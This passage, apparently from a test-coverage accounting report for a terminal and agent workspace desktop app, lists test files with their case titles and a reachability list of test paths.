focused; handles the zoom-in chord via before-input-event and ignores other keys; handles mouse-wheel zoom requests outside before-input-event; respects zoom keybinding overrides for keyboard and mouse-wheel paths. src/main/window/dropped-path-preparation.test.ts: opens and stores each unique source once as drop size grows tenfold; passes ordinary paths without copying for %s; preserves ordinary successes and copied successes when another file fails; serializes copy requests from different owners; reports all lost paths without a shared reason when their failures differ. src/main/window/main-window-updater-deferred-setup.test.ts: releases all 64 completed fallback handles without repeating initialization; keeps setup after ready-to-show and releases its fallback afterward; preserves the 15-second fallback when first paint never arrives; preserves destroyed-window guard reads before and at the fallback deadline; keeps the exact %s error and releases its completed fallback; keeps the exact fallback %s error without retrying initialization; preserves pending manual setup after failed ready registration; keeps setup options, live store reads, nudge writes and required quit flush. src/main/worker-threads/worker-thread-request-queue.test.ts: posts one request at a time and in the order it was dispatched; fires a posted call at its own deadline; stops respawning and fails the rest of the queue once deaths hit the cap; clears the death count when a fresh burst starts from full idle. src/main/workspace-hooks/hooks-setup-runner-script.test.ts: builds Windows runners for newline-heavy scripts without line-array splitting; builds POSIX runners without regex-wide CRLF normalization; writes POSIX setup runners for shebang-declared scripts on native Windows paths; keeps batch setup scripts on cmd.exe when the terminal is Git Bash; hands a Git Bash pane a launch command MSYS cannot rewrite for a cmd runner; replays interpreter flags declared on the shebang line; preserves cmd.exe setup runner semantics for configured cmd users; keeps POSIX runner behavior on POSIX platforms; waits when either local or project policy requires completed setup; marks setup-runner terminals for the always-on credential guard; maps git-bash to POSIX setup launch metadata on Windows; falls back to the cmd runner when the git-bash setting has no installed Git Bash; keeps the cmd runner for a non-Git bash such as Cygwin; keeps the cmd runner for a bare bash whose flavor cannot be resolved; uses the POSIX runner for a bare bash that resolves to Git Bash; uses the POSIX runner for an extension-less Git Bash path; preserves the existing cmd runner for PowerShell terminals; preserves cmd setup compatibility when a Windows-host project has a WSL shell setting; classifies an installed explicit Git Bash executable as a POSIX runner; falls back to the cmd runner when the explicit Git Bash path no longer exists. src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts: schedules remote identity enrichment without blocking the caller; probes a drive project whose runtime is WSL %s; sweeps a local repo: %s; probes an SSH row that carries only executionHostId on its own host; keeps same-path rows on two different SSH hosts from sharing one backoff; coalesces concurrent probes for the same repo location; caches no-identity probes briefly so list calls do not retry every time; does not rewrite the no-remote marker on a later retry; resolves a settled no-remote repo once it gains a remote; does not re-probe a resolved identity before the refresh window elapses; re-probes a resolved identity after the refresh window elapses; bounds re-probes per sweep so a large repo list drains gradually; forgets a removed repo location so its deadline cannot outlive the repo; keeps a surviving repo backoff when a sibling repo is removed; probes again when the same location is re-added after its probe was retired; coalesces concurrent sweeps instead of running one pass per list call. src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts: preserves create priority through claim probes on %s; starts the checkout only once the async workspace root resolves; still deduplicates when both callers await the same pending root lookup; namespaces native Windows preparation directories for long paths; deduplicates preparation for the same repo, base, runtime, and workspace root; does not spend a divergence walk when the base matches exactly; claims when the two sides spell the same ref differently; evicts a repo's own stale preparation before another repo's; still discards armed checkouts when the project runtime needs repair; routes preparation and finalization through the selected WSL runtime; retries stale cleanup after a transient listing failure; does not discard a detached worktree with caller-controlled preparation metadata; does not re-arm after an isolated create; re-arms a preparation once creates arrive in a burst; holds the re-arm checkout until the create runs the deferred thunk; starts one explicit prefetch after the create completes; does not re-arm when finalization failed; reports a pending create while a stale-cleanup scan is running. src/main/workspaces/removal/local-worktree-removal-recovery.test.ts: recovers Git for Windows partial filesystem deletion failures; finishes a clean non-force deletion after Git leaves a Windows directory behind; recovers localized Windows failures after Git already removed the registration; does not recover unrelated localized failures while Git still owns the row; finishes a macOS deletion Git deregistered before failing with Directory not empty; leaves an orphaned checkout to the orphan cleanup instead of deleting it; prunes and strictly verifies on the selected WSL host without deleting files or branches. src/main/workspaces/removal/worktree-removal-safety.test.ts: rejects deleting a worktree that contains another registered worktree; rejects POSIX home directories even when host homedir has a different path shape; refuses a home the host reported even when no path rule recognises it; refuses the Windows host's home directory from a POSIX client; refuses the Windows host's home directory even when the host reported nothing. src/main/wsl/discovery/distro-catalog.test.ts: retries asynchronous discovery after a transient wsl.exe failure; retries synchronous discovery after a transient wsl.exe failure; retries asynchronous discovery after wsl.exe reports no distros yet; retries synchronous discovery after wsl.exe reports no distros yet; bounds the wsl.exe spawn rate while no distros are installed; bounds the asynchronous spawn rate while no distros are installed; still caches a non-empty distro list for the process lifetime; re-probes a docker-desktop-only machine once a user distro can appear; backs off while the list keeps coming back empty; backs off after repeated distro-list failures; caps the empty-list backoff at five minutes; keeps reporting an empty result after it goes stale; keeps reporting a known distro list indefinitely; bounds cached homes while retaining the most recently used distros; still lists distros, and an excluded distro home probe fails like any other probe; gives the async home probe time for a cold boot instead of killing it at 5 s; retries availability after a probe timeout instead of latching false; bounds the probe rate while the failure window is open; caches a successful probe for the process lifetime; names an explicit spawn directory, so no deleted cwd can read as ENOENT; shares one wsl.exe spawn between concurrent probes; keeps reporting the last observed answer after it goes stale; holds a definitive failure far longer than a timeout when %s; backs off after repeated probe failures; re-probes a seeded retryable failure once its window lapses; re-probes availability once a distro list succeeds after %s; does not drop an availability failure for an empty distro list; keeps reporting unavailable off Windows without probing. src/main/wsl/discovery/wsl-distro-holder.test.ts: runs a busybox-safe loop through --exec and names the distro; spawns a detached-style holder, records it, and waits for the distro to run; a holder exiting with code 1 notes its distro may have stopped (E9); rejects a pid whose command line is not our holder for that distro; cleans up stale and corrupt records; keeps a holder and its record when release cannot verify it; reports unverifiable when the command line is unreadable even with a matching pid; release kills a verified holder and removes its record; release never kills a pid that is no longer our holder; reports a spawned holder exit so liveness can re-check. src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts: skips 9p shares that are not drvfs, and malformed lines. src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts: plans the update on the census the running orcad reports, not an unknown one; forwards force to the update planner; does not serve the incumbent past a refusal that is not a wait; does not re-activate the build this host rolled back from; labels the launch with the build the adoption found serving, not the stale record; defers while another run holds the host fence; lets an explicit force deploy past both skips; names a newer host refusal apart from a rolled-back one, so only Force is offered; updates an older host as before, without asking to adopt it; never asks the incumbent when it already runs this build. src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts: keeps a completed listing usable when the host rejects the wait parameter. src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts: delivers to chat-default users in all targeting while holding out not-switched users. src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts: completes the row on a pick, even when the command is already typed; ignores a pick of the row while side chats are unavailable. src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts: explains a too-large refusal that arrives through the IPC error prefix. src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts: keeps the question with the caller and says once that it never went; tells the user to check the side chat when delivery is unconfirmed; reports a delivered question as sent, silently. src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts: decides each of %i tool-only turns once per layout, and nothing without a listener. src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx: places a side chat whose question was %s: %o. src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts: calls back once for %s; stops watching once unsubscribed. src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts: records a mode 2031 subscribe from the raw chunk boundary without answering. src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts: routes terminal input through deferPtyInput so the host can withhold it; forwards terminal input directly when the host supplies no deferPtyInput. src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts: forwards onBell to pane attention and notification policy; hands the bell to the attention module with its pane even when pane attention is off. src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts: repaints from the main-owned snapshot when main drops pending output at the cap. src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts: retries a fresh-spawn native follow reset when renderer dimensions return. src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts: requests a tab remount for an unbound spawn; leaves recovery to a remote transport that armed its own retry; requests a remount when the transport reports no recovery of its own; settles the spawn as failed before requesting a remount; prefers the restored leaf id when reporting the anomaly; falls back to the pane leaf id when no restored leaf exists. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionDeferredInputForwardingTests } from '../input/pty-connection-deferred-input-forwarding.spec', registerPtyConnectionDeferredInputForwardingTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts: structural support changed only; no new authored removal credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionFreshNativeFollowResetTests } from '../output/pty-connection-fresh-native-follow-reset.spec', registerPtyConnectionFreshNativeFollowResetTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionTerminalBellAttentionTests } from '../notifications/pty-connection-terminal-bell-attention.spec', registerPtyConnectionTerminalBellAttentionTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts: registers interest on the first sidecar and releases on the last unsubscribe; releases sidecar interest only once for repeated unsubscribes; does not let an eager pre-mount buffer defeat hidden delivery gating; keeps eager buffers outside delivery interest when the PTY exits before mount; lets a sidecar exclusively own interest while an eager buffer overlaps. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts: blackholed delivery reproduces the wedge: no handler dispatch, no ACK ever. src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts: sends preferences to the execution host and attaches only to its returned PTY; preserves one operation ID across a lost reply and reconnect; preserves ordinary raw startup and captured-session attachment. src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts: sums registered gauges and drops disposed ones; ignores a repeated dispose instead of dropping another gauge; stops tracking new gauges past the cap so a missed dispose cannot grow it; tracks a live output processor queue through enqueue, drain, and dispose; excludes cleared consumed entries from retention after a bounded drain. src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts: says nothing once the pane is closed. src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts: refreshes after each scheduled atlas reset; falls back to a timeout when animation frames are unavailable; continues recovery when a manager throws after scheduling. src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts: tracks a remounted quiet title source even when the stale owner unregisters later; preserves the renderer-parsed output sequence in the response; preserves a pending escape tail for snapshot replay; routes a host's Reset Terminal request to the pane that owns the PTY. src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts: marks panes with restored scrollback for fresh-shell viewport blanking. src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts: recovers a 0x0 spawn whose container is briefly unmeasurable then settles. src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts: removes global listeners when the last pane unregisters. src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx: keeps trust text readable on a host-owned dialog surface; applies the hostile surface to ordinary dialogs, so the case above is exercised. src/renderer/src/components/use-terminal-parking-pass.test.tsx: does not queue a render when a pass produces the same parking sets; keeps parking transitions working under StrictMode. src/renderer/src/hooks/client-workspace-view-report.test.ts: reports an away user’s screen with no presence, and renews as soon as input returns; retries a failed send, empty or not, no sooner than a refresh. src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts: is new work in a workspace with no live terminal: its first bind moves it up in Recent. src/renderer/src/hooks/use-bundled-skill-install.test.tsx: ignores a repeated click while the install runs; retries the last requested skills on this host. src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx: adds seeds to a successful empty list but not to loading or failed results; retains seed projection after expiry and fetches fresh metadata for a new reader. src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx: retranslates the settings nav labels when the UI language changes live. src/renderer/src/lib/codex-stale-pane-account-identity.test.ts: keeps the prompt when the roster read fails and every label collapses. src/renderer/src/lib/image-blob-png.test.ts: downscales a pasted image above the pixel cap; releases its temporary URL on a decode error; releases its temporary URL when PNG encoding fails or exceeds the byte cap. src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts: names callers above the frame the write came from; restores Error.stackTraceLimit when the capture throws; stops collecting after the sample cap when captureStackTrace is unavailable; caps reported changed keys from a single wide write. src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts: applies the rendered text hard cap last and reserves the final overflow marker. src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts: keeps the runtime target identity stable across unrelated store writes. src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts: keeps creation available on old hosts and explains the missing operation; preserves landed warnings and direct collision recovery data; propagates remote discovery failure instead of a false empty page. src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts: reuses unchanged worktree tab projections when one worktree title changes; bumps only the changed worktree version when a sibling stays byte-identical. src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts: shares safe-auto fork sync cooldown attempts across store instances. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts: collapses a 193-workspace hydration to one store write; leaves the store byte-identical to the per-workspace path; re-reconciling the batched result is a no-op, as it is for the per-workspace path. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts: dedicated zero-case helper retirement; no authored test credit. src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts: persists each batch metadata update to its workspace owner. src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts: dismisses a rename error on its capable remote owner; clears pending first-agent rename when the title is updated. src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts: orders capture, guards, handlers, main's stop, commit, cleanup, and exit settlement. src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts: publishes the first terminal and root tab group atomically; publishes the first terminal and root tab group atomically, then marks it starting in main. src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts: restores daemon terminal wake hints before declaring the session ready. src/renderer/src/web/web-runtime-connection-auth-framing.test.ts: keeps legacy framing for sockets that cannot absorb a refused attempt. src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts: moves the old Windows default to Regular once and queues the notice; keeps custom weights and fresh profiles without a notice; leaves macOS and Linux profiles untouched. tests/e2e/claude-agent-row-view.unit.test.ts: updates a mounted compact workflow description through the subscribed production parent; bounds upstream active-SSH visits for $population records, fallback=$fallback; derives %s destinations without requiring type or a workflow child ID; terminates a $path parent $status with no third request or intermediate toast; does not recover a first child %s. tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts: keeps exact legacy ordering when structured creation cannot express afterTabId; can create a terminal without selecting the target worktree; preserves the legacy fresh-agent path when host authority is unavailable. tests/e2e/paired-instant-browser-tab.spec.ts: shows a paired browser tab before its create RPC resolves, then keeps it as one tab; adopts a paired browser tab without rebuilding its chrome. tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts: bounds host publication and renderer application across remote worktrees; globally caps decorative freshness while every working status stays fresh. tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts: bounds saved-order publication selection at N and 10N without rematerializing navigation; bounds admitted placement reconciliation during supported reads at N and 10N; bounds selection input visits at 50 and 500 rows, including unavailable-target projection; keeps publication scoped to a changed worktree and shared by listeners at N and 10N; bounds preserved-chat merge and runtime-owned hydration at N and 10N (legacy=%s); bounds actual native retirement and shared delivery work at N and 10N. tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts: does not substitute a preserved row for an unavailable explicit legacy selection; resolves main-layout group selection %s (omitted group=%s). tests/e2e/structured-agent-session-launch-admission.unit.test.ts: opens a direct caller's terminal with the caller's own CLI arguments on a decline; opens the chat on the server that admitted it; opens only the terminal when this machine declines, without a notice; opens a new agent tab's terminal with the typed prompt when the caller names none; opens the chat, not a terminal, when this machine cannot resolve a new workspace yet; keeps its terminal fallback, as before. tests/e2e/structured-attention-prompt-relay.unit.test.ts: settles once per relayed prompt, not on every later status update. tests/e2e/structured-attention-read-retirement.unit.test.ts: Mark read on a chat never opened withdraws the prompt alert it surfaced; Mark read on a chat hidden since an earlier view covers the newer prompt it surfaced; reads a newly accepted visible prompt without sending an RPC for text-only updates. tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts: counts real raw stores, unrelated window publications and captured cleanup at %i chats; counts complete supplied-member sweep and separate final retirement at S=%i N=%i. tests/e2e/structured-session-workspace-authority.unit.test.ts: bounds actual target reveal across %i repo roots and metadata aliases. tests/e2e/terminal-agent-pane-launch.unit.test.ts: starts the host's planned command once, at the pane's size, and says it started; plans a pane whose prompt the window submits without the startup update prompt; preserves caller shell-ready delivery only for a connection-scoped adapter ($connectionId); starts no shell on plan failure (original failure: $returnLaunchFailure); cannot confirm a start whose provider answer was lost. tests/e2e/terminal-parked-memory.spec.ts: releases renderer terminal memory when hidden tabs park. tests/e2e/terminal-shortcuts.spec.ts: @headful Codex-like background output stays visible without disabling WebGL in auto mode; Shift with Russian layout text reaches the PTY as Cyrillic under kitty keyboard reporting. tests/e2e/terminal-split-activation-latency.spec.ts: records attributed CWD, spawn, bind, fixture-ready, input, and echo phases. tests/e2e/terminal-split-activation-latency-phases.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-main-probe.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-artifact.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-report.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-tab-switch-visual-restore.spec.ts: restores skipped hidden Grok output on light tab resume. tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts: delivers independent %s effort through the real prepared web callback; keeps same-ID local and runtime worktrees on the selected runtime owner; creates paired web agents through host authority so activation is mirrored; delivers generated continuation context after host-authoritative creation; seeds the chat composer for a draft that rode in on the launch command. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/persistence/worktree-sort-order-write.test.ts, src/main/runtime/construction/orca-runtime.test.ts, src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts, src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts, src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts, src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts, src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts, src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts, src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts, src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts, src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts, src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts, src/main/runtime/session-graph/headless-runtime-graph.spec.ts, src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts, src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts, src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts, src/main/runtime/terminal/identity/terminal-identity-probe.test.ts, src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts, src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts, src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts, src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts, src/main/runtime/terminal/surface/workspace-layout-projection.test.ts, src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts, src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts, src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts, src/main/skills/skill-install-transaction.test.ts, src/main/speech/model-manager-download-resume.test.ts, src/main/ssh/config/ssh-config-parser.test.ts, src/main/ssh/config/ssh-known-hosts-source.test.ts, src/main/ssh/config/ssh-known-hosts.test.ts, src/main/ssh/connection/ssh-connect-config.test.ts, src/main/ssh/connection/ssh-connection-auth-fallback.test.ts, src/main/ssh/connection/ssh-connection-store.test.ts, src/main/ssh/connection/ssh-connection.test.ts, src/main/ssh/orcad-migration-stuck-host-profiles.test.ts, src/main/ssh/orcad-runtime-maintenance.test.ts, src/main/ssh/port-forwarding/ssh-port-forward.test.ts, src/main/ssh/ssh-channel-multiplexer.test.ts, src/main/ssh/system-transport/system-ssh-forward-process.test.ts, src/main/ssh/system-transport/system-ssh-loopback-route.test.ts, src/main/startup/browser-process-user-agent-ordering.test.ts, src/main/startup/quit/quit-path-durable-write-blocking.test.ts, src/main/stats/agent-session-transition-recorder.test.ts, src/main/text-generation/commit-message-text-generation-model-discovery.test.ts, src/main/text-generation/pull-request-context.test.ts, src/main/text-generation/source-control-local-process.test.ts, src/main/updater/linux-package/linux-package-update-recovery.test.ts, src/main/updater/releases/updater-prerelease-feed-readiness.test.ts, src/main/updater/releases/updater-release-builds.test.ts, src/main/updater/updater.build-channel-selection.test.ts, src/main/updater/updater.check-preflight.test.ts, src/main/updater/updater.prerelease-fallback.test.ts, src/main/updater/updater.publishing-window-feed.test.ts, src/main/updater/updater.quit-and-install.test.ts, src/main/window/createMainWindow-markdown-editor-focus.test.ts, src/main/window/createMainWindow-renderer-crash-recovery.test.ts, src/main/window/dashboard-popout-window.test.ts, src/main/window/dropped-path-preparation.test.ts, src/main/window/main-window-updater-deferred-setup.test.ts, src/main/worker-threads/worker-thread-request-queue.test.ts, src/main/workspace-hooks/hooks-setup-runner-script.test.ts, src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts, src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts, src/main/workspaces/removal/local-worktree-removal-recovery.test.ts, src/main/workspaces/removal/worktree-removal-safety.test.ts, src/main/wsl/discovery/distro-catalog.test.ts, src/main/wsl/discovery/wsl-distro-holder.test.ts, src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts, src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts, src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts, src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts, src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts, src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts, src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx, src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts, src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts, src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts, src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts, src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts, src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts, src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts, src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts, src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx, src/renderer/src/components/use-terminal-parking-pass.test.tsx, src/renderer/src/hooks/client-workspace-view-report.test.ts, src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts, src/renderer/src/hooks/use-bundled-skill-install.test.tsx, src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx, src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx, src/renderer/src/lib/codex-stale-pane-account-identity.test.ts, src/renderer/src/lib/image-blob-png.test.ts, src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts, src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts, src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts, src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts, src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts, src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts, src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts, 